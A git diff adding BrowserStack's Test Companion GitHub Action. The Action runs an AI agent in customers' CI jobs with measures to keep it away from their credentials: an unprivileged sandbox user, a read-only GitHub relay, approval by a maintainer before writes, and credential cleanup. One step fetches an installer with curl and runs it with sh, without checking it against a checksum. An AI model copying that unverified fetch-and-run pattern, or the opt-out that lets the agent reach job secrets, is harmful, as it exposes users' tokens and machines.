diff --git a/.github/workflows/test-companion-tests.yml b/.github/workflows/test-companion-tests.yml new file mode 100644 index 0000000..2a36496 --- /dev/null +++ b/.github/workflows/test-companion-tests.yml @@ -0,0 +1,61 @@ +# Runs the Test Companion Action's own unit tests. +# +# The Action runs on customers' machines with their credentials, so its tests +# have to run on every change to it. +# +# The `paths` filter is safe only while this check is NOT required. A required +# check with a paths filter never reports on a pull request that misses the +# filter, and then blocks that pull request from merging for ever. If this is +# ever made required, remove the filter. +name: Test Companion tests + +on: + pull_request: + branches: [master] + paths: + - "test-companion/**" + - ".github/workflows/test-companion-tests.yml" + push: + branches: [master] + paths: + - "test-companion/**" + +permissions: + contents: read + +# One run per pull request or branch. A newer push makes the older run's +# result irrelevant, so it is cancelled rather than left to finish. +concurrency: + group: test-companion-tests-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true + +jobs: + unit-tests: + name: Test Companion unit tests + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + # The tests need no git credentials, so none are left on disk. + persist-credentials: false + + # The Action has no dependencies: Node's standard library plus `gh`. + # There is nothing to install. + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: "22" + + # The exit code alone is not enough. When a test file throws while it + # loads (a missing import, say), `node --test` prints "fail 0" and + # exits 0, even though none of that file's tests ran. The only sign + # is a `not ok` line, so fail on that as well. + - name: Run the unit tests + working-directory: test-companion + run: | + set -o pipefail + node --test --test-reporter=tap test/*.test.mjs | tee test-output.tap + if grep -nE '^\s*not ok' test-output.tap; then + echo "::error::A test failed or a test file did not load. See the 'not ok' lines above." + exit 1 + fi diff --git a/CODEOWNERS b/CODEOWNERS index c9eea17..78b1c33 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -1 +1,6 @@ * @browserstack/automate-public-repos + +# The Test Companion action. Changes to it run an AI agent in customers' jobs, +# so they also need a review from its team. +/test-companion/ @browserstack/automate-public-repos @browserstack/test-companion +/.github/workflows/test-companion-tests.yml @browserstack/automate-public-repos @browserstack/test-companion diff --git a/README.md b/README.md index 60174b6..c0f9aaa 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ If you want to test your open source project on BrowserStack, then [sign-up here * [setup-local](./setup-local): This Action downloads and starts the appropriate BrowserStackLocal binary, thereby creating a secure tunnel connection from the GitHub Actions runner environment to the BrowserStack device cloud. This secure tunnel will be used by the remote browsers in BrowserStack to access your web application hosted in the GitHub Actions runner environment. **You do not need this Action if the application to be tested is accessible over the public internet.** +* [test-companion](./test-companion): Ask BrowserStack Test Companion for test work from a pull request. Comment `@browserstack test this PR` and it proposes the tests it would write, then writes them once someone with write access replies `go`. Needs a Linux runner. See its [README](./test-companion/README.md) for setup. + ## Prerequisites * You should set your BrowserStack Username and Access Key as GitHub Secrets, i.e. `BROWSERSTACK_USERNAME` and `BROWSERSTACK_ACCESS_KEY` respectively. diff --git a/test-companion/README.md b/test-companion/README.md new file mode 100644 index 0000000..f8f2f34 --- /dev/null +++ b/test-companion/README.md @@ -0,0 +1,109 @@ +# test-companion + +Ask BrowserStack Test Companion for test work from a pull request. + +Comment `@browserstack test this PR` and it reads the change, proposes the +tests it would write, and writes them once someone replies `go`. The result +comes back as one comment and one check. + +## Quick start + +1. Add two secrets: `BROWSERSTACK_USERNAME` and `BROWSERSTACK_ACCESS_KEY`. +2. Copy [`starter-workflow.yml`](starter-workflow.yml) to + `.github/workflows/test-companion.yml` in your repository, as-is. + +What runs is decided by `testcompanion-pipeline.yml` in your repository, not by +the workflow file. + +**Runner requirements:** a Linux runner (GitHub's `ubuntu-latest` works as is) +with Node 20 or later, the `gh` command installed system-wide (in `/usr/bin` or +`/usr/local/bin`), and password-free `sudo` for the job. + +`sudo` is what keeps your tokens away from the AI agent. Test Companion runs +the agent as a separate user with no admin rights, which cannot read this +job's tokens, secrets or temp files. Its `gh` can only read from GitHub, +through a relay; every write (saving tests, opening a pull request) is made by +the Action itself after the run. On a runner without password-free `sudo` the +run stops and says why, unless you set `allow-unisolated: true`. + +Use the starter file itself rather than writing your own. Besides the triggers, +it carries safeguards that are easy to leave out: + +- a filter that skips comments not meant for Test Companion, so they don't start + a job; +- `persist-credentials: false` on checkout, so the workflow token is not left in + `.git/config` where commands the agent runs could read it; +- the concurrency rules that keep one run per pull request, and let closing a + pull request cancel its run. + +## Pin the CLI version + +`cli-version` is optional and you should set it once you know which version you +want. + +Without a pin the CLI upgrades itself the first time it runs on a release day. +That spends your pipeline's time on a download, and it means two runs a day +apart are not the same software. + +**Both lines or neither.** A version with no checksum is refused — "refusing an +unverified pinned install" — and the job stops before it reports anything. Take +both from the release you tested with. + +```yaml + - uses: browserstack/github-actions/test-companion@v1.1.0 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} + cli-version: "1.2.0" + cli-sha256: "" +``` + +## Inputs + +| Input | Required | What it does | +|---|---|---| +| `username` | yes | BrowserStack username, from your secret store | +| `access-key` | yes | BrowserStack access key, from your secret store | +| `cli-version` | no | Pin the CLI. Strongly recommended — see above | +| `cli-sha256` | no | Checksum for the pinned version | +| `build-effect` | no | Whether this step goes red. `fail-on-break` (the default) only when the run itself broke, could not start or hit a limit, not when tests failed. `report` never. `fail` on anything that is not a success, test failures included. The Test Companion check always reports truthfully either way | +| `workflow` | no | Manual runs only; event-driven runs read the pipeline file | +| `preview` | no | Report what would happen and change nothing | +| `allow-unisolated` | no | `"true"` runs the agent as the job's own user when it cannot be locked down. It can then reach this job's tokens and secrets. Off by default | +| `app-id` / `app-private-key` | no | Use the GitHub App's identity. Keep the workflow's `permissions:` block anyway: the workflow token is still the fallback | + +## Approving a plan + +Before a job changes anything, Test Companion posts its plan and waits for +someone with write access to reply `go`. Read the plan before you reply. + +Without the GitHub App, Test Companion posts as `github-actions[bot]`, the same +account every other workflow in your repository uses. It can only recognise its +own plans by that account and a hidden marker. So a different workflow that +copies outside text into a comment could imitate a plan. A reply of `go` only +ever approves a plan for the pull request's current commit. With the App, Test +Companion posts under its own account, which no other workflow can use. + +## How the CLI is installed + +Each run downloads the CLI installer from +`test-companion.browserstack.com/cli/install.sh`. The installer script itself +is not checked against a fixed checksum, so a run trusts that address. Pinning +`cli-version` with `cli-sha256` (above) makes the installer refuse any CLI +build other than the one you tested. + +## What runs is not decided here + +This file is awkward to change once it is in many repositories, so it stays +near-empty on purpose. Which jobs run, on which events, with which spending +limits, lives in `testcompanion-pipeline.yml` in your own repository, which you +can edit freely without touching the workflow above. + +## Notes for maintainers + +This is a **composite** action with **no dependencies** and no `dist/` bundle to +rebuild — unlike the JavaScript actions elsewhere in this repository. The +sources in `src/` are what run. + +Tests: `cd test-companion && node --test`. They need no network and no +credentials. diff --git a/test-companion/action.yml b/test-companion/action.yml new file mode 100644 index 0000000..6f1dfe1 --- /dev/null +++ b/test-companion/action.yml @@ -0,0 +1,387 @@ +name: "Test Companion" +description: > + Run Test Companion from a GitHub workflow — generate test cases, explain a red + build, fix stale tests — and report the result back onto the pull request. + Add this as one step with two secrets; everything else is read from the + testcompanion-pipeline.yml in your repository. +author: "BrowserStack" +branding: + icon: check-circle + color: orange + +inputs: + username: + description: "BrowserStack username. Store it as a repository secret, never inline." + required: true + access-key: + description: "BrowserStack access key. Store it as a repository secret, never inline." + required: true + app-id: + description: >- + Test Companion GitHub App id. With it, comments and the check come from + the App rather than github-actions[bot]. Keep the workflow's + permissions block either way: the workflow token is still the + fallback. Optional — without it the workflow's own token is used. + required: false + app-private-key: + description: >- + The App's private key. Store it as a repository or organisation secret, + never inline. It is never passed to the agent's shell. + required: false + + workflow: + description: > + Which job to run, for a manual run only (see `tc workflow list`). Leave it + unset for event-driven runs, where the job comes from your pipeline file. + required: false + preview: + description: "Manual runs only: report what would happen and change nothing." + required: false + default: "false" + + cli-version: + description: > + Exact Test Companion CLI version to install, e.g. 1.39.8. Pinning keeps + the same pipeline behaving the same next month. LEAVE IT UNSET AND THE + LATEST RELEASE IS INSTALLED, which can change between runs — so pin it + if you want a pipeline that does not move under you. + required: false + cli-sha256: + description: > + Checksum for the pinned CLI. Required alongside cli-version, because the + installer refuses an unverified pinned install. + required: false + + config: + description: "Path to the pipeline file. Defaults to testcompanion-pipeline.yml at the repo root." + required: false + build-effect: + description: > + Whether a bad outcome reddens THIS step. fail-on-break (the default) + reddens it when the run itself did not work — it broke, it could not + start, or it hit a limit — and leaves it green when the run worked + and the tests failed. report never reddens it. fail reddens it on + anything that is not a success, test failures included. The Test + Companion check always reports truthfully regardless. + required: false + default: "fail-on-break" + allow-unisolated: + description: > + Run even when the agent cannot be locked down. Test Companion runs its + AI agent as a separate user with no admin rights, so it cannot reach + this job's tokens and secrets. That needs a Linux runner where the job + has password-free sudo, which GitHub's own runners have. On a runner + without it, the run stops unless this is "true", in which case the + agent runs as the job's own user and CAN reach them. + required: false + default: "false" + github-token: + description: > + Token used to post the check and the comment. Override only to post as a + different identity, such as a GitHub App. + required: false + default: ${{ github.token }} + self-workflow-name: + description: > + This workflow's own name, so a red run of it is never explained by itself. + Defaults to the running workflow. + required: false + default: ${{ github.workflow }} + +outputs: + outcome: + description: "One of: Succeeded, Tests failed, Run broke, Stopped at limit, Could not run." + value: ${{ steps.run.outputs.outcome }} + result-file: + description: >- + Path to the run's RESULT — the test cases it generated, with their steps. + Written whether or not they reached Test Management, which is the only + record a preview run leaves behind. Distinct from summary-file, which + records how the run went rather than what it produced. + value: ${{ steps.run.outputs.result-file }} + summary-file: + description: "Path to the run's report file." + value: ${{ steps.run.outputs.summary-file }} + cli-version: + description: "The CLI version that actually ran." + value: ${{ steps.install.outputs.cli-version }} + +runs: + using: composite + steps: + # A fresh runner has no git identity, and several jobs commit internally. + # Scoped to this repository rather than --global so nothing outlives the run. + - name: Give this run a git identity + shell: bash + run: | + set -euo pipefail + git config user.email "test-companion[bot]@users.noreply.github.com" + git config user.name "Test Companion" + + - name: Install the Test Companion CLI + id: install + shell: bash + env: + TC_VERSION: ${{ inputs.cli-version }} + TC_SHA256: ${{ inputs.cli-sha256 }} + run: | + set -euo pipefail + # $RUNNER_TEMP, not /tmp: it is per-job and cleaned up, where a + # fixed /tmp path is shared with everything else on the runner + # and can be written before this step runs. The Action's own + # report files already take this care; this step did not. + installer="${RUNNER_TEMP:-/tmp}/tc-install.sh" + curl -fsSL -o "$installer" https://test-companion.browserstack.com/cli/install.sh + sh "$installer" + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" + # pinning only means something if the pin actually took. The + # installer refuses an unverified pinned install on its own, but a + # silent fallback to latest would leave the run reporting a version + # nobody asked for — and "the same pipeline behaves the same next + # month" is the entire point of the input. + # EXACT, not a substring. `${version#*$TC_VERSION}` accepted a pin + # of 1.2.0 when 11.2.0 was installed, and a pin of 1.1 when 1.1.9 + # was — so the check passed for a version nobody asked for, which + # is the one thing it exists to catch. + # The first version-shaped token. Stripping non-digits instead + # would fold the architecture into the number, turning a version + # line ending "linux/amd64" into 1.1.964. + installed="$(printf '%s' "$version" | grep -oE '[0-9]+(\.[0-9]+)+' | head -1 || true)" + if [ -n "${TC_VERSION:-}" ] && [ "$installed" != "$TC_VERSION" ]; then + echo "::error::Asked for Test Companion CLI $TC_VERSION but got '$version'." >&2 + exit 1 + fi + echo "cli-version=$version" >> "$GITHUB_OUTPUT" + echo "::notice::Test Companion $version" + + # The CLI only picks up ambient BROWSERSTACK_* credentials during `auth + # login`; other commands just find no stored session and exit 3. Assuming + # the environment variables alone were enough cost a live run to discover. + - name: Sign in + shell: bash + env: + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # This is the FIRST tc command of the job, and without the + # pin here the CLI self-upgrades during `auth login` — before the + # Run step below ever applies it. The pin then correctly reports + # a mismatch against the binary the pin was meant to preserve, + # so ASKING FOR A PINNED VERSION MADE THE RUN FAIL. Seen live on + # 2026-10-29 when tc 1.1.9 shipped: "pinned to version 1.1.8 but + # the installed binary is 1.1.9". + # + # Every step that runs tc needs this, not just the one that does + # the work. + TC_PIN_VERSION: ${{ inputs.cli-version }} + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_CLI_VERSION: ${{ steps.install.outputs.cli-version }} + run: | + set -euo pipefail + # Bounded: a surface that cannot draw a browser must never sit waiting + # on an interactive sign-in. + timeout 120 tc auth login + + # Jobs that read a failed build — rca, verdict, fix — fetch its logs + # with `gh`, and on a runner `gh` has no credentials. Three live runs + # on 2 Nov all got as far as finding the right build and then stopped + # with "The GitHub CLI is installed but not signed in… run `gh auth + # login` in your terminal". Nobody can follow that here: there is no + # terminal, no browser, and nobody watching. + # + # The token is already in this job for our own API calls, so sign gh + # in with it. Deliberately NOT exported into the environment the CLI + # inherits: childEnvFor keeps only an allowlist, and the agent's own + # shell commands must not be able to read the token out of env. + # + # This puts the token in gh's config, inside this job's temp folder. + # The agent runs as a separate, locked-down user that cannot reach + # that folder: its own gh talks to a read-only relay instead (see + # sandbox-policy.mjs). This sign-in is for the Action's own use, such + # as planting the "already running" marker before the run. Only an + # unisolated run (allow-unisolated) leaves it within the agent's reach. + - name: Sign gh in, so a failed build can be read + shell: bash + env: + GH_TOKEN: ${{ inputs.github-token }} + run: | + # NOT `set -e`. Most jobs never read a build, and a problem + # signing gh in must not take down a generate or test-pr run. + # The first version did exactly that: the login failed, the step + # exited 1, and the whole Run step was skipped (live run + # 41445939531). Best effort, always exit 0. + set -uo pipefail + if [ -z "${GH_TOKEN:-}" ]; then + echo "::notice::No GitHub token, so jobs that read a failed build will not be able to fetch its logs." + exit 0 + fi + # Already signed in is not a failure — a self-hosted runner may + # have its own credentials, and overwriting them is not ours to do. + # + # Checked with GH_TOKEN REMOVED, because this step has the token + # in its own environment and `gh auth status` reports that as + # being signed in. The first version of this check passed for + # that reason, skipped the login, and left the CLI — which does + # NOT get the token — still unauthenticated. The run then failed + # exactly as before. What matters here is + # whether a credential is STORED, not whether this shell happens + # to hold one. + if env -u GH_TOKEN -u GITHUB_TOKEN gh auth status >/dev/null 2>&1; then + echo "gh already has stored credentials on this runner; leaving them alone." + exit 0 + fi + + # A JOB-SCOPED config dir, never the runner's shared one. A + # self-hosted runner outlives the job, so signing in to + # ~/.config/gh would leave the NEXT job — possibly another + # repository's — holding this repository's token. Cleaned up + # below whatever happens. + export GH_CONFIG_DIR="${RUNNER_TEMP}/tc-gh-config" + mkdir -p "$GH_CONFIG_DIR" + chmod 700 "$GH_CONFIG_DIR" + echo "GH_CONFIG_DIR=$GH_CONFIG_DIR" >> "$GITHUB_ENV" + # OURS, so the teardown knows it may delete it. The check above + # leaves a runner's own credentials alone — but a self-hosted + # runner can export GH_CONFIG_DIR machine-wide, and the teardown + # then saw a variable it had not set and removed somebody else's + # config. The sign-in respected them; the + # cleanup has to as well. + echo "TC_OWNS_GH_CONFIG_DIR=1" >> "$GITHUB_ENV" + # GH_TOKEN REMOVED for the login itself. gh refuses to store a + # credential while that variable is set — "The value of the + # GH_TOKEN environment variable is being used for + # authentication. To have GitHub CLI store credentials instead, + # first clear the value from the environment." The token still + # reaches gh on stdin; it just must not also be in the env. + if printf '%s' "$GH_TOKEN" | env -u GH_TOKEN -u GITHUB_TOKEN gh auth login --with-token; then + echo "gh signed in for this job." + # Let git use that credential too, for this host only. + # + # A live run's dedupe claim is a real `git push` to origin + # . With `persist-credentials: false` in the workflow + # which is the right setting, and what the starter ships + # there is no credential for it, so a live `fix` or `generate` + # died in under a second at the claim, before doing any work + # Preview never hit it, which is why + # this went unnoticed. + # + # No token is added to any environment variable: git asks gh, + # and gh reads the job-scoped config dir set above. Undone in + # the cleanup step, which matters on a self-hosted runner. + if env -u GH_TOKEN -u GITHUB_TOKEN gh auth setup-git --hostname github.com 2>/dev/null; then + echo "TC_ADDED_GIT_HELPER=1" >> "$GITHUB_ENV" + echo "git will use gh's credential for github.com." + else + echo "::notice::Could not point git at gh's credential; a live run's dedupe claim may fail." + fi + else + echo "::notice::Could not sign gh in. Jobs that read a failed build will not work in this run; everything else is unaffected." + fi + exit 0 + + - name: Run + id: run + shell: bash + env: + # The CLI picks these up on a non-interactive shell with no extra flags. + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # Stops the CLI upgrading itself mid-pipeline, so a pinned version stays + # pinned and the 90-second first-response budget is not spent on a download. + TC_PIN_VERSION: ${{ inputs.cli-version }} + # Only this step may talk to the GitHub API. Deliberately not exported to + # the environment the agent's own shell commands run in. + GH_TOKEN: ${{ inputs.github-token }} + # A CI runner has no Claude Code to install a skill into; it just adds + # noise and a write to the home directory. + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_WORKFLOW: ${{ inputs.workflow }} + TC_ACTION_PREVIEW: ${{ inputs.preview }} + TC_ACTION_CONFIG: ${{ inputs.config }} + TC_ACTION_BUILD_EFFECT: ${{ inputs.build-effect }} + TC_ACTION_SELF_WORKFLOW: ${{ inputs.self-workflow-name }} + TC_ACTION_APP_ID: ${{ inputs.app-id }} + TC_ACTION_APP_PRIVATE_KEY: ${{ inputs.app-private-key }} + TC_ACTION_ALLOW_UNISOLATED: ${{ inputs.allow-unisolated }} + run: node "${{ github.action_path }}/src/main.mjs" + + - name: Attach the report + if: always() && steps.run.outputs.summary-file != '' + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 + with: + name: test-companion-report + path: ${{ steps.run.outputs.summary-file }} + if-no-files-found: ignore + + # Separate artifact from the report, because it answers a different + # question and has a different reader: the report says how the run went, + # this is the work itself. For a preview run it is the only place that + # work survives, so it is attached even when the run is about to go red. + - name: Attach the generated test cases + if: always() && steps.run.outputs.result-file != '' + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 + with: + name: test-companion-result + path: ${{ steps.run.outputs.result-file }} + if-no-files-found: ignore + + # The token must not outlive the job. On a GitHub-hosted runner the + # machine is destroyed anyway; on a self-hosted one it is not, and + # this is the difference between a token that lives for one job and + # one that waits around for the next. + - name: Take gh's credentials back off the runner + if: always() + shell: bash + run: | + set -uo pipefail + [ -n "${GH_CONFIG_DIR:-}" ] || exit 0 + # The credential helper first. It lives in the GLOBAL git config, + # which outlives the job on a self-hosted runner, and it points + # at the config dir removed below — leaving it would hand the + # next job a helper that answers nothing, and a git command that + # stops to ask for a password rather than failing. + # + # ONLY THE ONE WE ADDED. `--unset-all` removed EVERY helper for + # that URL, including ones the runner's owner set up long before + # us — manager-core, a PAT helper — and it ran even when our own + # setup-git had failed and we had added nothing. The first Test + # Companion job on a self-hosted runner permanently broke that + # runner's git auth. `--unset` with a + # value pattern removes our entry and leaves the rest. + # + # BOTH entries, not just ours-looking-one. `gh auth setup-git` + # writes TWO values for each host: an EMPTY helper, which clears + # any general helper inherited from a broader scope, and then its + # own. Removing only the second left the empty one behind, so the + # runner's manager-core (or whatever it had) stayed disabled for + # github.com — the same breakage by a quieter route. + if [ "${TC_ADDED_GIT_HELPER:-}" = "1" ]; then + for host in github.com gist.github.com; do + git config --global --unset "credential.https://$host.helper" '^!.*gh auth git-credential' 2>/dev/null || true + git config --global --unset "credential.https://$host.helper" '^$' 2>/dev/null || true + done + fi + if [ "${TC_OWNS_GH_CONFIG_DIR:-}" = "1" ]; then + gh auth logout --hostname github.com >/dev/null 2>&1 || true + rm -rf "$GH_CONFIG_DIR" + echo "gh credentials removed from this runner." + else + echo "GH_CONFIG_DIR was not set by this job; leaving it alone." + fi + + # Separate from the run step so the report is attached even when the + # build effect says this run should redden the build. + - name: Apply the build effect + if: always() && steps.run.outputs.should-fail == 'true' + shell: bash + # Through env, never pasted into the script: a step output written + # straight into `run:` becomes part of the shell code. + env: + OUTCOME: ${{ steps.run.outputs.outcome }} + run: | + echo "::error::Test Companion: ${OUTCOME}" + exit 1 diff --git a/test-companion/package.json b/test-companion/package.json new file mode 100644 index 0000000..57be12a --- /dev/null +++ b/test-companion/package.json @@ -0,0 +1,13 @@ +{ + "name": "test-companion-action", + "version": "0.1.0", + "private": true, + "type": "module", + "description": "GitHub Action wrapper around the Test Companion CLI.", + "scripts": { + "test": "node --test" + }, + "engines": { + "node": ">=20" + } +} diff --git a/test-companion/src/access.mjs b/test-companion/src/access.mjs new file mode 100644 index 0000000..6095d08 --- /dev/null +++ b/test-companion/src/access.mjs @@ -0,0 +1,49 @@ +/** + * Who may ask Test Companion for a run. + * + * Write access is the floor and it is not negotiable. On a public repository + * anyone can comment, and a run executes an agent with --yolo against the + * customer's own machine and credentials. + * + * The pipeline file may NARROW that to a named team. It may never widen it: + * being on the team is not a way in for someone who cannot write to the + * repository. That asymmetry is why this is a function rather than two + * booleans combined at the call site. + */ + +/** + * `inTeam` is tri-state on purpose. `undefined` means we could not find out — + * no token for the organisation, API down, rate limited — and an unanswerable + * question is a no. + */ +export function mayAsk({ hasWriteAccess, askTeam, inTeam } = {}) { + if (!hasWriteAccess) return false + if (!String(askTeam ?? "").trim()) return true + return inTeam === true +} + +/** + * Can this run write test code where the settings say it should? + * + * Tests go in the pull request's own repository by default. A repository that + * points somewhere else needs either the GitHub App installed on both, or a + * token with write access stored as a secret. + * + * The message names WHICH of the two is missing: a bare "permission denied" + * halfway through a run leaves someone guessing, after the credits are spent. + * + * `canPush` is tri-state, same rule as above — undefined is a no. + */ +export function describeTestRepoAccess({ testsRepo, thisRepo, canPush } = {}) { + const target = String(testsRepo ?? "").trim() + if (!target) return { ok: true } + if (target.toLowerCase() === String(thisRepo ?? "").toLowerCase()) return { ok: true } + if (canPush === true) return { ok: true } + + return { + ok: false, + message: + `Test code is configured to go to \`${target}\`, but this run cannot write there, so nothing was written to it. ` + + `Install the Test Companion GitHub App on both repositories, or add a token with write access to \`${target}\` as a secret.`, + } +} diff --git a/test-companion/src/annotations.mjs b/test-companion/src/annotations.mjs new file mode 100644 index 0000000..2d77dc9 --- /dev/null +++ b/test-companion/src/annotations.mjs @@ -0,0 +1,96 @@ +/** + * Putting each failing test on the diff. + * + * An annotation puts the failure on the line itself, in the files-changed + * view the reviewer is already in, instead of sending them to the run logs. + * + * Two limitations, both easy to misread: + * + * The line is where the test is DECLARED, not where the assertion failed. + * Playwright prints `file:line:col` for the declaration and nothing + * machine-readable for the failing statement. + * + * The path comes from the reporter, relative to the test runner's root + * (Playwright's `testDir`), while GitHub wants it relative to the repository + * root. Those match in the common layout and differ when the suite lives in a + * subdirectory; GitHub silently drops an annotation whose path it cannot + * place. + * + * Reporters that print no locator at all (mocha, wdio) produce no + * annotations. Every failure is named in the report either way. + */ + +/** + * GitHub rejects a check-run request carrying more than 50 annotations. A + * suite with 300 failures must not lose the whole set to one rejected call, so + * the list is cut rather than the request risked. + */ +export const MAX_ANNOTATIONS = 50 + +/** + * Read the failing tests back out of the report. + * + * Needs its own reader because parseSummary builds an object, where repeated + * keys collapse and only the last failing test would survive. + * + * The writer separates the name from the location with a TAB (see + * RunSummary.Render in cli/pkg/cli/workflow/summary.go) because a test name is + * whatever the reporter printed and may legitimately contain a colon, a path, + * or something that looks exactly like a locator. + */ +export function parseFailedTests(reportText) { + const out = [] + for (const line of String(reportText ?? "").split("\n")) { + if (!line.startsWith("failed_test: ")) continue + const [name, location] = line.slice("failed_test: ".length).split("\t") + if (!name) continue + if (!location) { + out.push({ name }) + continue + } + const at = location.lastIndexOf(":") + const lineNo = at === -1 ? NaN : Number(location.slice(at + 1)) + if (at > 0 && Number.isInteger(lineNo) && lineNo > 0) { + out.push({ name, file: location.slice(0, at), line: lineNo }) + } else { + out.push({ name, file: location }) + } + } + return out +} + +/** + * A path GitHub can actually annotate: inside the repository, relative to its + * root. An absolute path annotates nothing, and one climbing out of the + * checkout would point at a file that is not in the pull request at all. + */ +const insideTheRepo = (file) => + typeof file === "string" && + file.length > 0 && + !file.startsWith("/") && + !/^[A-Za-z]:[\\/]/.test(file) && + !file.split(/[\\/]/).includes("..") + +/** Turn the failing tests into check-run annotations. */ +export function buildAnnotations(failedTests) { + const out = [] + for (const t of failedTests ?? []) { + if (!insideTheRepo(t.file)) continue + const known = Number.isInteger(t.line) && t.line > 0 + out.push({ + path: t.file, + // GitHub requires a line. Without one the top of the file is the + // only honest place left, and the message says why it is there so + // nobody reads line 1 as the failing statement. + start_line: known ? t.line : 1, + end_line: known ? t.line : 1, + annotation_level: "failure", + title: "Test Companion", + message: known + ? `${t.name} failed. This is where the test is declared; the assertion that failed may be further down.` + : `${t.name} failed. The reporter did not say which line, so this is the top of the file.`, + }) + if (out.length === MAX_ANNOTATIONS) break + } + return out +} diff --git a/test-companion/src/answer.mjs b/test-companion/src/answer.mjs new file mode 100644 index 0000000..1aff69d --- /dev/null +++ b/test-companion/src/answer.mjs @@ -0,0 +1,119 @@ +/** + * Catch the agent's own closing words out of the run's output. + * + * Every job announces what it concluded. Under `--json` the CLI prints one + * event per line and `{"event":"answer","text":...}` carries the prose, for + * every verb. What varies is whether the CLI also saves it to the result + * file, which it does for `rca` and `verdict` alone. + * + * Reading the stream here means every other job can show its answer too — + * it matters most for `fix` in preview, where the prose IS the product. + */ +import { spawn } from "node:child_process" +import { StringDecoder } from "node:string_decoder" + +/** + * How much of an unterminated line to hold before giving up on it. + * + * The agent runs with --yolo and picks its own shell commands, so one of them + * printing megabytes with no newline is a thing that happens. Buffering that + * to the end would take the runner down over output we are only scanning. + */ +export const MAX_PARTIAL_LINE = 1 << 20 + +/** + * A scanner for the CLI's event stream. + * + * Feed it `push(chunk)` as the bytes arrive and `end` when the process + * closes; `answer` is the last thing the agent said. + */ +export function createAnswerCapture() { + // Chunk boundaries fall mid-character: agent prose is full of em dashes and + // arrows, and decoding each chunk on its own splits one in half, breaks the + // JSON and silently drops the answer — on exactly the runs with most to say. + const decoder = new StringDecoder("utf8") + let pending = "" + // True while discarding the tail of a line that overran MAX_PARTIAL_LINE, + // so its remainder is not mistaken for the start of a fresh line. + let skipping = false + let answer + + /** Keep this line's text if it is an answer event. Last one wins. */ + const read = (line) => { + const t = line.trim() + // Cheap gate first: most of this stream is not an object, and parsing + // every log line the agent's own commands print would be wasteful. + if (!t.startsWith("{") || !t.endsWith("}")) return + let event + try { + event = JSON.parse(t) + } catch { + // Not an event. The stream carries whatever the run printed. + return + } + if (!event || typeof event !== "object" || event.event !== "answer") return + const text = typeof event.text === "string" ? event.text.trim() : "" + // An empty answer must not erase a real one that came before it. + if (text) answer = text + } + + return { + push(chunk) { + pending += typeof chunk === "string" ? chunk : decoder.write(chunk) + let nl + while ((nl = pending.indexOf("\n")) !== -1) { + const line = pending.slice(0, nl) + pending = pending.slice(nl + 1) + if (skipping) { + skipping = false + continue + } + read(line) + } + if (pending.length > MAX_PARTIAL_LINE) { + pending = "" + skipping = true + } + }, + /** The last line often has no newline, because the process ended. */ + end() { + pending += decoder.end() + if (!skipping && pending) read(pending) + pending = "" + }, + answer: () => answer, + /** Bytes held for an unfinished line — for the test that pins the cap. */ + pending: () => pending.length, + } +} + +/** + * Run a command, showing its output live AND reading it on the way past. + * + * stdout is piped so it can be scanned and echoed on; stdin and stderr stay + * inherited, so a prompt or a crash reaches the log unchanged. The echo + * happens first — someone watching a ten-minute run must not wait on our + * parsing. + * + * Never rejects. Losing the answer is not a reason to lose the report too. + */ +export function runCapturingAnswer(command, args, childEnv) { + return new Promise((resolve) => { + const capture = createAnswerCapture() + const child = spawn(command, args, { stdio: ["inherit", "pipe", "inherit"], env: childEnv }) + child.stdout.on("data", (chunk) => { + process.stdout.write(chunk) + capture.push(chunk) + }) + child.stdout.on("error", () => {}) + // The command is missing or not executable. Null status is what + // spawnSync gave here too, and the caller turns it into 1. + child.on("error", () => resolve({ status: null, answer: undefined })) + // `close`, not `exit`: exit can fire with stdout still draining, and the + // closing message is the last thing through. + child.on("close", (status) => { + capture.end() + resolve({ status, answer: capture.answer() }) + }) + }) +} diff --git a/test-companion/src/app-auth.mjs b/test-companion/src/app-auth.mjs new file mode 100644 index 0000000..193e0f7 --- /dev/null +++ b/test-companion/src/app-auth.mjs @@ -0,0 +1,88 @@ +/** + * Signing in as the Test Companion GitHub App. + * + * The comment, the check and the commits come from the App's own account + * rather than github-actions[bot]. The workflow's permissions block stays: + * the workflow token is still the fallback when the App cannot be reached. + * + * It does not run anything — a run still happens on the customer's machine + * with their credentials. This only changes who GitHub thinks is talking. + * + * Zero dependencies: Node's crypto signs the JWT and `gh` exchanges it. The + * private key never leaves this process and never reaches the agent's + * environment — childEnvFor is an allowlist and these names are not on it. + */ +import { createSign } from "node:crypto" + +/** base64url, which is what JWT uses — base64 with three characters swapped. */ +const b64url = (input) => Buffer.from(input).toString("base64url") + +/** + * The App's credentials, or nothing. + * + * Both halves are required: an id with no key cannot sign, a key with no id + * cannot say who it is. Either alone falls back to the workflow token + * silently, because a repository that never set this up is the normal case. + */ +export function appCredentials(env = {}) { + const appId = String(env.TC_ACTION_APP_ID ?? "").trim() + const privateKey = String(env.TC_ACTION_APP_PRIVATE_KEY ?? "").trim() + if (!appId || !privateKey) return undefined + return { appId, privateKey } +} + +/** How long a JWT lives. GitHub refuses anything over ten minutes. */ +const JWT_LIFETIME_SECONDS = 540 + +/** + * The claims GitHub expects on an App JWT. + * + * `iat` is backdated a minute on purpose. GitHub rejects a token whose issued-at + * is in the future, runner clocks drift, and the 